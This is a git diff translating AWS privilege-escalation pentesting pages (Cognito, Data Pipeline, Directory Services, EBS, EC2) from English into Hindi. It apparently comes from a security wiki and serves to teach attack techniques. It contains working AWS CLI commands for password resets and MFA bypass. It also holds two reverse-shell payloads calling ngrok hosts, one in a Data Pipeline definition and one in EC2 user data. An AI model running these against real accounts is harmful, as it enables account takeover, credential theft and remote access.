`cognito-idp:AdminEnableUser` -This permissions can help in. a very edge-case scenario where an attacker found the credentials of a disabled user and he needs to **enable it again**. - +यह अनुमति एक बहुत ही सीमांत परिदृश्य में मदद कर सकती है जहां एक हमलावर ने एक अक्षम उपयोगकर्ता के क्रेडेंशियल्स पाए हैं और उसे **फिर से सक्षम करने** की आवश्यकता है। ```bash aws cognito-idp admin-enable-user \ - --user-pool-id \ - --username +--user-pool-id \ +--username ``` - -**Potential Impact:** Indirect privesc to the identity pool IAM role for authenticated users and permissions of the user if the attacker had credentials for a disabled user. +**संभावित प्रभाव:** यदि हमलावर के पास एक निष्क्रिय उपयोगकर्ता के लिए क्रेडेंशियल्स हैं, तो प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM भूमिका और उपयोगकर्ता की अनुमतियों के लिए अप्रत्यक्ष प्रिवेस्क। ### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`** -This permission allows to login with the [**method ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** For more information follow the link. +यह अनुमति [**विधि ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)** के साथ लॉगिन करने की अनुमति देती है। अधिक जानकारी के लिए लिंक का पालन करें। ### `cognito-idp:AdminSetUserPassword` -This permission would allow an attacker to **change the password of any user**, making him able to impersonate any user (that doesn't have MFA enabled). - +यह अनुमति एक हमलावर को **किसी भी उपयोगकर्ता का पासवर्ड बदलने** की अनुमति देगी, जिससे वह किसी भी उपयोगकर्ता (जिसके पास MFA सक्षम नहीं है) का अनुकरण कर सकेगा। ```bash aws cognito-idp admin-set-user-password \ - --user-pool-id \ - --username \ - --password \ - --permanent +--user-pool-id \ +--username \ +--password \ +--permanent ``` - -**Potential Impact:** Direct privesc to potentially any user, so access to all the groups each user is member of and access to the Identity Pool authenticated IAM role. +**संभावित प्रभाव:** सीधे प्रिवेस्क किसी भी उपयोगकर्ता के लिए, इसलिए प्रत्येक उपयोगकर्ता के सदस्यता वाले सभी समूहों तक पहुंच और पहचान पूल प्रमाणित IAM भूमिका तक पहुंच। ### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool` -**AdminSetUserSettings**: An attacker could potentially abuse this permission to set a mobile phone under his control as **SMS MFA of a user**. - +**AdminSetUserSettings**: एक हमलावर इस अनुमति का दुरुपयोग करके एक मोबाइल फोन को **एक उपयोगकर्ता के SMS MFA** के रूप में सेट कर सकता है जो उसके नियंत्रण में है। ```bash aws cognito-idp admin-set-user-settings \ - --user-pool-id \ - --username \ - --mfa-options +--user-pool-id \ +--username \ +--mfa-options ``` - -**SetUserMFAPreference:** Similar to the previous one this permission can be used to set MFA preferences of a user to bypass the MFA protection. - +**SetUserMFAPreference:** पिछले वाले के समान, यह अनुमति एक उपयोगकर्ता के MFA प्राथमिकताओं को सेट करने के लिए उपयोग की जा सकती है ताकि MFA सुरक्षा को बायपास किया जा सके। ```bash aws cognito-idp admin-set-user-mfa-preference \ - [--sms-mfa-settings ] \ - [--software-token-mfa-settings ] \ - --username \ - --user-pool-id +[--sms-mfa-settings ] \ +[--software-token-mfa-settings ] \ +--username \ +--user-pool-id ``` - -**SetUserPoolMfaConfig**: Similar to the previous one this permission can be used to set MFA preferences of a user pool to bypass the MFA protection. - +**SetUserPoolMfaConfig**: पिछले वाले के समान, यह अनुमति एक उपयोगकर्ता पूल के MFA प्राथमिकताओं को सेट करने के लिए उपयोग की जा सकती है ताकि MFA सुरक्षा को बायपास किया जा सके। ```bash aws cognito-idp set-user-pool-mfa-config \ - --user-pool-id \ - [--sms-mfa-configuration ] \ - [--software-token-mfa-configuration ] \ - [--mfa-configuration ] +--user-pool-id \ +[--sms-mfa-configuration ] \ +[--software-token-mfa-configuration ] \ +[--mfa-configuration ] ``` +**UpdateUserPool:** उपयोगकर्ता पूल को MFA नीति बदलने के लिए अपडेट करना भी संभव है। [यहाँ cli देखें](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html)। -**UpdateUserPool:** It's also possible to update the user pool to change the MFA policy. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). - -**Potential Impact:** Indirect privesc to potentially any user the attacker knows the credentials of, this could allow to bypass the MFA protection. +**Potential Impact:** अप्रत्यक्ष प्रिवेस्क किसी भी उपयोगकर्ता के लिए जिसे हमलावर क्रेडेंशियल्स जानता है, यह MFA सुरक्षा को बायपास करने की अनुमति दे सकता है। ### `cognito-idp:AdminUpdateUserAttributes` -An attacker with this permission could change the email or phone number or any other attribute of a user under his control to try to obtain more privileges in an underlaying application.\ -This allows to change an email or phone number and set it as verified. - +इस अनुमति के साथ एक हमलावर किसी उपयोगकर्ता के ईमेल या फोन नंबर या किसी अन्य विशेषता को बदल सकता है जो उसके नियंत्रण में है, ताकि एक अंतर्निहित एप्लिकेशन में अधिक विशेषाधिकार प्राप्त करने की कोशिश की जा सके।\ +यह एक ईमेल या फोन नंबर को बदलने और इसे सत्यापित के रूप में सेट करने की अनुमति देता है। ```bash aws cognito-idp admin-update-user-attributes \ - --user-pool-id \ - --username \ - --user-attributes +--user-pool-id \ +--username \ +--user-attributes ``` - -**Potential Impact:** Potential indirect privesc in the underlying application using Cognito User Pool that gives privileges based on user attributes. +**संभावित प्रभाव:** संभावित अप्रत्यक्ष प्रिवेस्क underlying application में जो Cognito User Pool का उपयोग करता है जो उपयोगकर्ता विशेषताओं के आधार पर विशेषाधिकार देता है। ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` -An attacker with this permission could **create a new User Pool Client less restricted** than already existing pool clients. For example, the new client could allow any kind of method to authenticate, don't have any secret, have token revocation disabled, allow tokens to be valid for a longer period... +इस अनुमति के साथ एक हमलावर **एक नया User Pool Client बना सकता है जो पहले से मौजूद पूल क्लाइंट्स की तुलना में कम प्रतिबंधित है।** उदाहरण के लिए, नया क्लाइंट किसी भी प्रकार के तरीके से प्रमाणीकरण की अनुमति दे सकता है, कोई रहस्य नहीं हो सकता, टोकन रद्दीकरण अक्षम हो सकता है, टोकन को लंबे समय तक मान्य रहने की अनुमति दे सकता है... -The same can be be don if instead of creating a new client, an **existing one is modified**. - -In the [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) you can see all the options, check it!. +यदि एक **मौजूदा क्लाइंट को संशोधित किया जाए** तो वही किया जा सकता है। +[**कमांड लाइन**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (या [**अपडेट एक**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) में आप सभी विकल्प देख सकते हैं, इसे चेक करें! ```bash aws cognito-idp create-user-pool-client \ - --user-pool-id \ - --client-name \ - [...] +--user-pool-id \ +--client-name \ +[...] ``` - -**Potential Impact:** Potential indirect privesc to the Identity Pool authorized user used by the User Pool by creating a new client that relax the security measures and makes possible to an attacker to login with a user he was able to create. +**संभावित प्रभाव:** उपयोगकर्ता पूल द्वारा उपयोग किए जाने वाले पहचान पूल अधिकृत उपयोगकर्ता के लिए संभावित अप्रत्यक्ष प्रिवेस्क, एक नया क्लाइंट बनाकर जो सुरक्षा उपायों को ढीला करता है और एक हमलावर को एक उपयोगकर्ता के साथ लॉगिन करने की अनुमति देता है जिसे वह बनाने में सक्षम था। ### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob` -An attacker could abuse this permission to create users y uploading a csv with new users. - +एक हमलावर इस अनुमति का दुरुपयोग करके नए उपयोगकर्ताओं के साथ एक csv अपलोड करके उपयोगकर्ता बना सकता है। ```bash # Create a new import job aws cognito-idp create-user-import-job \ - --job-name \ - --user-pool-id \ - --cloud-watch-logs-role-arn +--job-name \ +--user-pool-id \ +--cloud-watch-logs-role-arn # Use a new import job aws cognito-idp start-user-import-job \ - --user-pool-id \ - --job-id +--user-pool-id \ +--job-id # Both options before will give you a URL where you can send the CVS file with the users to create curl -v -T "PATH_TO_CSV_FILE" \ - -H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" +-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" ``` +(यदि आप एक नया आयात कार्य बनाते हैं, तो आपको iam passrole अनुमति की भी आवश्यकता हो सकती है, मैंने इसका परीक्षण नहीं किया है)। -(In the case where you create a new import job you might also need the iam passrole permission, I haven't tested it yet). - -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user. +**संभावित प्रभाव:** प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM भूमिका तक सीधा प्रिवेस्क। किसी भी उपयोगकर्ता को बनाने की क्षमता के कारण अन्य ऐप कार्यक्षमताओं तक अप्रत्यक्ष प्रिवेस्क। ### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` -An attacker could create a new identity provider to then be able to **login through this provider**. - +एक हमलावर एक नया पहचान प्रदाता बना सकता है ताकि वह **इस प्रदाता के माध्यम से लॉगिन कर सके**। ```bash aws cognito-idp create-identity-provider \ - --user-pool-id \ - --provider-name \ - --provider-type \ - --provider-details \ - [--attribute-mapping ] \ - [--idp-identifiers ] +--user-pool-id \ +--provider-name \ +--provider-type \ +--provider-details \ +[--attribute-mapping ] \ +[--idp-identifiers ] ``` +**संभावित प्रभाव:** प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM भूमिका में सीधे प्रिवेस्क। किसी भी उपयोगकर्ता को बनाने में सक्षम होने के कारण अन्य ऐप कार्यक्षमताओं के लिए अप्रत्यक्ष प्रिवेस्क। -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user. +### cognito-sync:\* विश्लेषण -### cognito-sync:\* Analysis +यह पहचान पूल की भूमिकाओं में डिफ़ॉल्ट रूप से एक बहुत सामान्य अनुमति है। भले ही अनुमतियों में वाइल्डकार्ड हमेशा बुरा लगता है (विशेष रूप से AWS से आने पर), **दी गई अनुमतियाँ हमलावर के दृष्टिकोण से सुपर उपयोगी नहीं हैं**। -This is a very common permission by default in roles of Cognito Identity Pools. Even if a wildcard in a permissions always looks bad (specially coming from AWS), the **given permissions aren't super useful from an attackers perspective**. +यह अनुमति पहचान पूल और पहचान आईडी के भीतर उपयोग जानकारी पढ़ने की अनुमति देती है (जो संवेदनशील जानकारी नहीं है)।\ +पहचान आईडी में [**डेटासेट्स**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) असाइन किए जा सकते हैं, जो सत्रों की जानकारी होती है (AWS इसे **सहेजे गए खेल** के रूप में परिभाषित करता है)। यह संभव है कि इसमें कुछ प्रकार की संवेदनशील जानकारी हो (लेकिन संभावना काफी कम है)। आप इस जानकारी तक पहुँचने के लिए [**गणना पृष्ठ**](../aws-services/aws-cognito-enum/) में देख सकते हैं। -This permission allows to read use information of Identity Pools and Identity IDs inside Identity Pools (which isn't sensitive info).\ -Identity IDs might have [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) assigned to them, which are information of the sessions (AWS define it like a **saved game**). It might be possible that this contain some kind of sensitive information (but the probability is pretty low). You can find in the [**enumeration page**](../aws-services/aws-cognito-enum/) how to access this information. +एक हमलावर इन अनुमतियों का उपयोग करके **इन डेटासेट्स पर परिवर्तन प्रकाशित करने वाले एक Cognito स्ट्रीम में खुद को नामांकित कर सकता है** या **cognito घटनाओं पर ट्रिगर होने वाले एक लैम्ब्डा** का उपयोग कर सकता है। मैंने इसे उपयोग में नहीं देखा है, और मैं यहाँ संवेदनशील जानकारी की अपेक्षा नहीं करूंगा, लेकिन यह असंभव नहीं है। -An attacker could also use these permissions to **enroll himself to a Cognito stream that publish changes** on these datases or a **lambda that triggers on cognito events**. I haven't seen this being used, and I wouldn't expect sensitive information here, but it isn't impossible. +### स्वचालित उपकरण -### Automatic Tools +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS शोषण ढांचा, अब "cognito\_\_enum" और "cognito\_\_attack" मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की गणना को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, उपयोगकर्ता विशेषताएँ जो पहुँच नियंत्रण के लिए उपयोग की जाती हैं, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और संशोधित कस्टम विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, आईडी टोकन में असुमेबल भूमिकाओं के आधार पर प्रिवेस्क को भी स्वचालित करता है। -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +मॉड्यूल के कार्यों का विवरण देखने के लिए [ब्लॉग पोस्ट](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) के भाग 2 को देखें। स्थापना निर्देशों के लिए मुख्य [Pacu](https://github.com/RhinoSecurityLabs/pacu) पृष्ठ देखें। -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. - -#### Usage - -Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: +#### उपयोग +एक दिए गए पहचान पूल और उपयोगकर्ता पूल क्लाइंट के खिलाफ उपयोगकर्ता निर्माण और सभी प्रिवेस्क वेक्टरों का प्रयास करने के लिए नमूना cognito\_\_attack उपयोग: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +सैंपल cognito\_\_enum का उपयोग वर्तमान AWS खाते में दृश्य सभी उपयोगकर्ता पूल, उपयोगकर्ता पूल क्लाइंट, पहचान पूल, उपयोगकर्ता आदि एकत्र करने के लिए: ```bash Pacu (new:test) > run cognito__enum ``` - -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including a privesc escalation. +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) एक CLI टूल है जो पायथन में लिखा गया है और यह Cognito पर विभिन्न हमलों को लागू करता है जिसमें privesc escalation शामिल है। #### Installation - ```bash $ pip install cognito-scanner ``` - -#### Usage - +#### उपयोग ```bash $ cognito-scanner --help ``` - -For more information check [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) +अधिक जानकारी के लिए देखें [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md index 82c82682e..7b6601af4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md @@ -4,7 +4,7 @@ ## datapipeline -For more info about datapipeline check: +datapipeline के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -12,67 +12,57 @@ For more info about datapipeline check: ### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline` -Users with these **permissions can escalate privileges by creating a Data Pipeline** to execute arbitrary commands using the **permissions of the assigned role:** - +इन **अनुमतियों वाले उपयोगकर्ता एक Data Pipeline बनाकर विशेषाधिकार बढ़ा सकते हैं** ताकि **नियुक्त भूमिका की अनुमतियों का उपयोग करके मनमाने आदेशों को निष्पादित किया जा सके:** ```bash aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string ``` - -After pipeline creation, the attacker updates its definition to dictate specific actions or resource creations: - +पाइपलाइन बनाने के बाद, हमलावर इसकी परिभाषा को अपडेट करता है ताकि विशिष्ट क्रियाएँ या संसाधन निर्माण को निर्धारित किया जा सके: ```json { - "objects": [ - { - "id": "CreateDirectory", - "type": "ShellCommandActivity", - "command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'", - "runsOn": { "ref": "instance" } - }, - { - "id": "Default", - "scheduleType": "ondemand", - "failureAndRerunMode": "CASCADE", - "name": "Default", - "role": "assumable_datapipeline", - "resourceRole": "assumable_datapipeline" - }, - { - "id": "instance", - "name": "instance", - "type": "Ec2Resource", - "actionOnTaskFailure": "terminate", - "actionOnResourceFailure": "retryAll", - "maximumRetries": "1", - "instanceType": "t2.micro", - "securityGroups": ["default"], - "role": "assumable_datapipeline", - "resourceRole": "assumable_ec2_profile_instance" - } - ] +"objects": [ +{ +"id": "CreateDirectory", +"type": "ShellCommandActivity", +"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'", +"runsOn": { "ref": "instance" } +}, +{ +"id": "Default", +"scheduleType": "ondemand", +"failureAndRerunMode": "CASCADE", +"name": "Default", +"role": "assumable_datapipeline", +"resourceRole": "assumable_datapipeline" +}, +{ +"id": "instance", +"name": "instance", +"type": "Ec2Resource", +"actionOnTaskFailure": "terminate", +"actionOnResourceFailure": "retryAll", +"maximumRetries": "1", +"instanceType": "t2.micro", +"securityGroups": ["default"], +"role": "assumable_datapipeline", +"resourceRole": "assumable_ec2_profile_instance" +} +] } ``` - > [!NOTE] -> Note that the **role** in **line 14, 15 and 27** needs to be a role **assumable by datapipeline.amazonaws.com** and the role in **line 28** needs to be a **role assumable by ec2.amazonaws.com with a EC2 profile instance**. +> ध्यान दें कि **लाइन 14, 15 और 27** में **भूमिका** एक भूमिका होनी चाहिए जो **datapipeline.amazonaws.com** द्वारा ग्रहण की जा सके और **लाइन 28** में भूमिका एक **भूमिका होनी चाहिए जो ec2.amazonaws.com द्वारा ग्रहण की जा सके जिसमें एक EC2 प्रोफ़ाइल इंस्टेंस हो**। > -> Moreover, the EC2 instance will only have access to the role assumable by the EC2 instance (so you can only steal that one). - +> इसके अलावा, EC2 इंस्टेंस केवल उस भूमिका तक पहुंच रखेगा जो EC2 इंस्टेंस द्वारा ग्रहण की जा सके (इसलिए आप केवल वही चुरा सकते हैं)। ```bash aws datapipeline put-pipeline-definition --pipeline-id \ - --pipeline-definition file:///pipeline/definition.json +--pipeline-definition file:///pipeline/definition.json ``` +**पाइपलाइन परिभाषा फ़ाइल, जिसे हमलावर द्वारा तैयार किया गया है, में आदेश निष्पादित करने या AWS API के माध्यम से संसाधन बनाने के लिए निर्देश शामिल हैं, जो डेटा पाइपलाइन की भूमिका अनुमतियों का लाभ उठाते हैं ताकि संभावित रूप से अतिरिक्त विशेषाधिकार प्राप्त किया जा सके।** -The **pipeline definition file, crafted by the attacker, includes directives to execute commands** or create resources via the AWS API, leveraging the Data Pipeline's role permissions to potentially gain additional privileges. +**संभावित प्रभाव:** निर्दिष्ट ec2 सेवा भूमिका के लिए प्रत्यक्ष विशेषाधिकार वृद्धि। -**Potential Impact:** Direct privesc to the ec2 service role specified. - -## References +## संदर्भ - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md index ce24095ed..d44e9fa14 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md @@ -4,7 +4,7 @@ ## Directory Services -For more info about directory services check: +डायरेक्टरी सेवाओं के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-directory-services-workdocs-enum.md @@ -12,27 +12,21 @@ For more info about directory services check: ### `ds:ResetUserPassword` -This permission allows to **change** the **password** of any **existent** user in the Active Directory.\ -By default, the only existent user is **Admin**. - +यह अनुमति किसी भी **मौजूदा** उपयोगकर्ता का **पासवर्ड** **बदलने** की अनुमति देती है जो Active Directory में है।\ +डिफ़ॉल्ट रूप से, एकमात्र मौजूदा उपयोगकर्ता **Admin** है। ``` aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. ``` - ### AWS Management Console -It's possible to enable an **application access URL** that users from AD can access to login: +यह संभव है कि एक **ऐप्लिकेशन एक्सेस URL** सक्षम किया जाए जिसे AD के उपयोगकर्ता लॉगिन करने के लिए एक्सेस कर सकें:
-And then **grant them an AWS IAM role** for when they login, this way an AD user/group will have access over AWS management console: +और फिर **उन्हें एक AWS IAM भूमिका प्रदान करें** जब वे लॉगिन करें, इस तरह एक AD उपयोगकर्ता/समूह को AWS प्रबंधन कंसोल पर एक्सेस मिलेगा:
-There isn't apparently any way to enable the application access URL, the AWS Management Console and grant permission +स्पष्ट रूप से ऐप्लिकेशन एक्सेस URL, AWS प्रबंधन कंसोल को सक्षम करने और अनुमति देने का कोई तरीका नहीं है {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index b4af46712..d1980ae3e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -4,7 +4,7 @@ ## dynamodb -For more info about dynamodb check: +dynamodb के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-dynamodb-enum.md @@ -12,16 +12,12 @@ For more info about dynamodb check: ### Post Exploitation -As far as I know there is **no direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. You can **read sensitive** information from the tables (which could contain AWS credentials) and **write information on the tables** (which could trigger other vulnerabilities, like lambda code injections...) but all these options are already considered in the **DynamoDB Post Exploitation page**: +जितना मुझे पता है, AWS में केवल कुछ AWS `dynamodb` अनुमतियों के साथ विशेषाधिकार बढ़ाने का **कोई सीधा तरीका नहीं है**। आप तालिकाओं से **संवेदनशील** जानकारी पढ़ सकते हैं (जिसमें AWS क्रेडेंशियल्स हो सकते हैं) और तालिकाओं पर **जानकारी लिख सकते हैं** (जो अन्य कमजोरियों को ट्रिगर कर सकता है, जैसे कि लैम्ब्डा कोड इंजेक्शन...) लेकिन ये सभी विकल्प पहले से ही **DynamoDB Post Exploitation पृष्ठ** में विचारित हैं: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### TODO: Read data abusing data Streams +### TODO: डेटा स्ट्रीम का दुरुपयोग करके डेटा पढ़ें {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md index 36ea3bc53..091e5bb7e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md @@ -6,26 +6,22 @@ ### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` -An attacker with those will be able to potentially **download and analyze volumes snapshots locally** and search for sensitive information in them (like secrets or source code). Find how to do this in: +एक हमलावर जिसके पास ये होंगे, वह संभावित रूप से **स्थानीय रूप से वॉल्यूम स्नैपशॉट डाउनलोड और विश्लेषण** कर सकेगा और उनमें संवेदनशील जानकारी (जैसे कि रहस्य या स्रोत कोड) की खोज कर सकेगा। इसे करने का तरीका खोजें: {{#ref}} ../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md {{#endref}} -Other permissions might be also useful such as: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` +अन्य अनुमतियाँ भी उपयोगी हो सकती हैं जैसे: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` -The tool [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) performs this attack to e**xtract passwords from a domain controller**. +उपकरण [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) इस हमले को **डोमेन कंट्रोलर से पासवर्ड निकालने** के लिए करता है। -**Potential Impact:** Indirect privesc by locating sensitive information in the snapshot (you could even get Active Directory passwords). +**संभावित प्रभाव:** स्नैपशॉट में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क (आप सक्रिय निर्देशिका के पासवर्ड भी प्राप्त कर सकते हैं)। ### **`ec2:CreateSnapshot`** -Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project. +कोई भी AWS उपयोगकर्ता जिसके पास **`EC2:CreateSnapshot`** अनुमति है, वह **डोमेन कंट्रोलर का स्नैपशॉट** बनाकर सभी डोमेन उपयोगकर्ताओं के हैश चुरा सकता है, इसे एक ऐसे उदाहरण पर माउंट करके जिसे वह नियंत्रित करता है और **NTDS.dit और SYSTEM** रजिस्ट्री हाइव फ़ाइल को Impacket के secretsdump प्रोजेक्ट के लिए निर्यात कर सकता है। -You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot. +आप इस हमले को स्वचालित करने के लिए इस उपकरण का उपयोग कर सकते हैं: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) या आप स्नैपशॉट बनाने के बाद पिछले तकनीकों में से एक का उपयोग कर सकते हैं। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index ad31bde00..8ed4c1787 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -14,49 +14,44 @@ For more **info about EC2** check: An attacker could **create and instance attaching an IAM role and then access the instance** to steal the IAM role credentials from the metadata endpoint. -- **Access via SSH** +- **SSH के माध्यम से पहुँच** Run a new instance using a **created** **ssh key** (`--key-name`) and then ssh into it (if you want to create a new one you might need to have the permission `ec2:CreateKeyPair`). - ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ - --iam-instance-profile Name= --key-name \ - --security-group-ids +--iam-instance-profile Name= --key-name \ +--security-group-ids ``` +- **उपयोगकर्ता डेटा में रिव शेल के माध्यम से पहुंच** -- **Access via rev shell in user data** - -You can run a new instance using a **user data** (`--user-data`) that will send you a **rev shell**. You don't need to specify security group this way. - +आप एक नया उदाहरण चला सकते हैं जो एक **उपयोगकर्ता डेटा** (`--user-data`) का उपयोग करेगा जो आपको एक **रिव शेल** भेजेगा। इस तरीके से आपको सुरक्षा समूह निर्दिष्ट करने की आवश्यकता नहीं है। ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh aws ec2 run-instances --image-id --instance-type t2.micro \ - --iam-instance-profile Name=E \ - --count 1 \ - --user-data "file:///tmp/rev.sh" +--iam-instance-profile Name=E \ +--count 1 \ +--user-data "file:///tmp/rev.sh" ``` - -Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance: +गुराड ड्यूटी के साथ सावधान रहें यदि आप IAM भूमिका के क्रेडेंशियल्स का उपयोग करते हैं जो इंस्टेंस के बाहर हैं: {{#ref}} ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md {{#endref}} -**Potential Impact:** Direct privesc to a any EC2 role attached to existing instance profiles. +**संभावित प्रभाव:** किसी भी EC2 भूमिका तक सीधे पहुँच जो मौजूदा इंस्टेंस प्रोफाइल से जुड़ी है। -#### Privesc to ECS - -With this set of permissions you could also **create an EC2 instance and register it inside an ECS cluster**. This way, ECS **services** will be **run** in inside the **EC2 instance** where you have access and then you can penetrate those services (docker containers) and **steal their ECS roles attached**. +#### ECS तक पहुँच +इन अनुमतियों के सेट के साथ, आप **एक EC2 इंस्टेंस बना सकते हैं और इसे एक ECS क्लस्टर के अंदर पंजीकृत कर सकते हैं**। इस तरह, ECS **सेवाएँ** **EC2 इंस्टेंस** के अंदर **चलाई जाएंगी** जहाँ आपके पास पहुँच है और फिर आप उन सेवाओं (डॉकर कंटेनरों) में प्रवेश कर सकते हैं और **उनकी ECS भूमिकाएँ चुरा सकते हैं** जो 